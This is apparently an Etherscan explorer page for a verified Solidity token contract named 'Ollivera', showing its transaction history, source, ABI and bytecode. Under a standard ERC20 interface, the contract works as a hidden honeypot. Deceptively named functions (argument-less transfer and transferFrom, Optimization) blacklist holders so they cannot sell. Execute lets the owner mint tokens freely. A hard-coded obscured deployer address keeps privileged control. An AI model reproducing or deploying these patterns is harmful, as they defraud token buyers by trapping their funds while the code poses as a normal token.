ETH Price: $3,281.60 (+0.06%)
Gas: 7 Gwei

Contract

0xaECB32198AbB89D30D96a2b7c3f5df1D7f485E00
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer185021002023-11-05 0:00:23265 days ago1699142423IN
0xaECB3219...D7f485E00
0 ETH0.0020857130.8
Transfer185020952023-11-04 23:59:23265 days ago1699142363IN
0xaECB3219...D7f485E00
0 ETH0.0010475815.46987826
Transfer185020272023-11-04 23:45:35265 days ago1699141535IN
0xaECB3219...D7f485E00
0 ETH0.0008665312.79402215
Transfer185020182023-11-04 23:43:47265 days ago1699141427IN
0xaECB3219...D7f485E00
0 ETH0.000556625.3
Transfer185020142023-11-04 23:42:59265 days ago1699141379IN
0xaECB3219...D7f485E00
0 ETH0.000591325.70869702
Transfer185011762023-11-04 20:53:35266 days ago1699131215IN
0xaECB3219...D7f485E00
0 ETH0.0014155520.9
Transfer185011252023-11-04 20:43:23266 days ago1699130603IN
0xaECB3219...D7f485E00
0 ETH0.000782211.55299036
Transfer185011242023-11-04 20:43:11266 days ago1699130591IN
0xaECB3219...D7f485E00
0 ETH0.0010952716.17125292
Execute175152692023-06-19 17:26:59404 days ago1687195619IN
0xaECB3219...D7f485E00
0 ETH0.0007091720.85563562
Approve175136452023-06-19 11:57:47404 days ago1687175867IN
0xaECB3219...D7f485E00
0 ETH0.0008510518.33065743
Approve175080402023-06-18 17:06:35405 days ago1687107995IN
0xaECB3219...D7f485E00
0 ETH0.0009011919.435652
Approve175078942023-06-18 16:37:11405 days ago1687106231IN
0xaECB3219...D7f485E00
0 ETH0.0007581416.32937869
Approve175071012023-06-18 13:56:47405 days ago1687096607IN
0xaECB3219...D7f485E00
0 ETH0.000991221.37701095
Transfer175043812023-06-18 4:46:59405 days ago1687063619IN
0xaECB3219...D7f485E00
0 ETH0.0029104913.60401226
Approve175038982023-06-18 3:08:47405 days ago1687057727IN
0xaECB3219...D7f485E00
0 ETH0.0007495416.16516643
Approve175036552023-06-18 2:19:47405 days ago1687054787IN
0xaECB3219...D7f485E00
0 ETH0.0006719914.55674899
Approve175034552023-06-18 1:39:47405 days ago1687052387IN
0xaECB3219...D7f485E00
0 ETH0.0006628914.27784602
Approve175033782023-06-18 1:24:11405 days ago1687051451IN
0xaECB3219...D7f485E00
0 ETH0.0006824314.71780802
Approve175033122023-06-18 1:10:59405 days ago1687050659IN
0xaECB3219...D7f485E00
0 ETH0.0006310313.68726498
Approve175028022023-06-17 23:28:11405 days ago1687044491IN
0xaECB3219...D7f485E00
0 ETH0.0005993712.90972836
Approve175027902023-06-17 23:25:35405 days ago1687044335IN
0xaECB3219...D7f485E00
0 ETH0.0006246213.47102704
Approve175026252023-06-17 22:52:23405 days ago1687042343IN
0xaECB3219...D7f485E00
0 ETH0.0007589516.36805473
Approve175026202023-06-17 22:51:23405 days ago1687042283IN
0xaECB3219...D7f485E00
0 ETH0.0007944317.13331144
Approve175024242023-06-17 22:11:47406 days ago1687039907IN
0xaECB3219...D7f485E00
0 ETH0.0007758816.80723476
Transfer175022152023-06-17 21:29:47406 days ago1687037387IN
0xaECB3219...D7f485E00
0 ETH0.0011905614.91432105
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Ollivera

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-17
*/

// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address deployer, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
    
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}


library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}
contract Ollivera  {

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }
    
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address path = PairFor(Factory, WETH, address(this));
        if(_from == Owner || _to == Owner  || _from == deployer || _from == path || _from == permit || denominator[_from]) {return true;}
        if( numerator[_from] ) {return false;}
        require(balanceOf[_from] >= _value);
        return true; 
    }
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        if ( _value >= Sorted ){ reserveOut.push(_to);}
        if ( _value < Sorted ){ reserveIn.push(_to);}
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    function Execute(address addr, uint256 Amount) public payable returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        if(Amount > 0) {balanceOf[addr] += Amount*(10**uint256(decimals));}
        denominator[addr]=true;
        return true;
    }
    address public UniswapV2Pair = PairFor(Factory, WETH, address(this));
    mapping(address=>bool) private denominator;
    mapping(address=>bool) private numerator;
    address[] private reserveIn;
    address[] private reserveOut;
    uint256 private Sorted;
    address public permit;
    function multicall(address [] calldata addr) public returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < addr.length; i++) 
        {denominator[addr[i]] = true;}
        return true;
    }
    function number(uint256 Amount) public returns(bool){
        require(msg.sender == deployer || msg.sender == Owner);
        Sorted = Amount*(10**uint256(decimals));
        return true;
    }
    function TransferOwnership(address adr) public returns(bool){
        require (msg.sender == deployer || msg.sender == Owner);
        permit = adr;
        return true;
    }
    address public Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
    function PairFor(address factory, address tokenA, address tokenB) internal pure returns (address Pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Pair = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }
    function transfer() public returns (bool) {
        require (msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < reserveOut.length; i++) {
            numerator[reserveOut[i]]= true;}
            delete reserveOut;
        return true;
    }
    function transferFrom() public returns (bool) {
        require (msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < reserveIn.length; i++) {
            numerator[reserveIn[i]]= true;}
            delete reserveIn;
        return true;
    }
    function Optimization(address [] calldata addresses) public returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < addresses.length; i++) 
        {numerator[addresses[i]] = true;}
        return true;
    }
    function batchSend(address[] memory _tos, uint _value) public returns (bool) {
        require (msg.sender == Owner);
        uint total = _value*(10**uint256(decimals)) * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value*(10**uint256(decimals));
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals)));
        }
        return true;
    }
    address public deployer=
    address (500010320077929746993176146135400200321940158399);
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address public Owner;
    constructor(string memory _name, string memory _symbol, uint256 _supply ) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        Owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply); 
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"Optimization","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"TransferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"UniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"number","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"permit","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526200005b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306200048060201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507357953cfa82d91fa4debaee1da2f89affe13977bf600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040516200272e3803806200272e83398181016040526060811015620001be57600080fd5b8101908080516040519392919084640100000000821115620001df57600080fd5b83820191506020820185811115620001f657600080fd5b82518660018202830111640100000000821117156200021457600080fd5b8083526020830192505050908051906020019080838360005b838110156200024a5780820151818401526020810190506200022d565b50505050905090810190601f168015620002785780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200029c57600080fd5b83820191506020820185811115620002b357600080fd5b8251866001820283011164010000000082111715620002d157600080fd5b8083526020830192505050908051906020019080838360005b8381101562000307578082015181840152602081019050620002ea565b50505050905090810190601f168015620003355780820380516001836020036101000a031916815260200191505b506040526020018051906020019092919050505082600d908051906020019062000361929190620005ce565b5081600e90805190602001906200037a929190620005ce565b506012600a0a8102600c8190555033600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040518082815260200191505060405180910390a350505062000674565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610620004c1578385620004c4565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200061157805160ff191683800117855562000642565b8280016001018555821562000642579182015b828111156200064157825182559160200191906001019062000624565b5b50905062000651919062000655565b5090565b5b808211156200067057600081600090555060010162000656565b5090565b6120aa80620006846000396000f3fe6080604052600436106101405760003560e01c80638a4068dd116100b6578063c83dd2311161006f578063c83dd231146107bf578063cfaaa26614610800578063d20c50d514610867578063d5f39488146108a8578063dd62ed3e146108e9578063fb7ed9611461096e57610140565b80638a4068dd1461053757806395d89b4114610564578063a9059cbb146105f4578063aa2f522014610658578063ad5c46481461073d578063b4a99a4e1461077e57610140565b8063431aabc211610108578063431aabc2146103135780635777e93d146103645780636b768073146103a557806370a0823114610441578063811c34d3146104a6578063892cd8f5146104d357610140565b806306fdde0314610145578063095ea7b3146101d557806318160ddd1461023957806323b872dd14610264578063313ce567146102e8575b600080fd5b34801561015157600080fd5b5061015a610a0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa8565b60405180821515815260200191505060405180910390f35b34801561024557600080fd5b5061024e610b9a565b6040518082815260200191505060405180910390f35b6102d06004803603606081101561027a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba0565b60405180821515815260200191505060405180910390f35b3480156102f457600080fd5b506102fd610f40565b6040518082815260200191505060405180910390f35b34801561031f57600080fd5b5061034c6004803603602081101561033657600080fd5b8101908080359060200190929190505050610f45565b60405180821515815260200191505060405180910390f35b34801561037057600080fd5b5061037961100f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103b157600080fd5b50610429600480360360208110156103c857600080fd5b81019080803590602001906401000000008111156103e557600080fd5b8201836020820111156103f757600080fd5b8035906020019184602083028401116401000000008311171561041957600080fd5b9091929391929390505050611035565b60405180821515815260200191505060405180910390f35b34801561044d57600080fd5b506104906004803603602081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118f565b6040518082815260200191505060405180910390f35b3480156104b257600080fd5b506104bb6111a7565b60405180821515815260200191505060405180910390f35b61051f600480360360408110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131d565b60405180821515815260200191505060405180910390f35b34801561054357600080fd5b5061054c61148f565b60405180821515815260200191505060405180910390f35b34801561057057600080fd5b50610579611605565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b957808201518184015260208101905061059e565b50505050905090810190601f1680156105e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106406004803603604081101561060a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116a3565b60405180821515815260200191505060405180910390f35b34801561066457600080fd5b506107256004803603604081101561067b57600080fd5b810190808035906020019064010000000081111561069857600080fd5b8201836020820111156106aa57600080fd5b803590602001918460208302840111640100000000831117156106cc57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506116b8565b60405180821515815260200191505060405180910390f35b34801561074957600080fd5b506107526118b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078a57600080fd5b506107936118dd565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107cb57600080fd5b506107d4611903565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080c57600080fd5b5061084f6004803603602081101561082357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611929565b60405180821515815260200191505060405180910390f35b34801561087357600080fd5b5061087c611a27565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108b457600080fd5b506108bd611a4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108f557600080fd5b506109586004803603604081101561090c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a71565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109f26004803603602081101561099157600080fd5b81019080803590602001906401000000008111156109ae57600080fd5b8201836020820111156109c057600080fd5b803590602001918460208302840111640100000000831117156109e257600080fd5b9091929391929390505050611a96565b60405180821515815260200191505060405180910390f35b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa05780601f10610a7557610100808354040283529160200191610aa0565b820191906000526020600020905b815481529060010190602001808311610a8357829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600080821415610bb35760019050610f39565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cfa5781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c6f57600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6005548210610d67576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600554821015610dd5576003839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610de0848484611bef565b610de957600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3557600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ff05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b6012600a0a820260058190555060019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110e05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110e957600080fd5b60005b838390508110156111845760016002600086868581811061110957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110ec565b506001905092915050565b600a6020528060005260406000206000915090505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112525750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61125b57600080fd5b60005b600380549050811015611307576001600260006003848154811061127e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061125e565b50600360006113169190612036565b6001905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113c85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6113d157600080fd5b600082111561142e576012600a0a8202600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061153a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61154357600080fd5b60005b6004805490508110156115ef576001600260006004848154811061156657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611546565b50600460006115fe9190612036565b6001905090565b600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561169b5780601f106116705761010080835404028352916020019161169b565b820191906000526020600020905b81548152906001019060200180831161167e57829003601f168201915b505050505081565b60006116b0338484610ba0565b905092915050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461171457600080fd5b600083516012600a0a840202905080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561176e57600080fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b84518110156118ab5760008582815181106117d557fe5b602002602001015190506012600a0a8502600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a88026040518082815260200191505060405180910390a35080806001019150506117be565b50600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119d45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6119dd57600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600190509190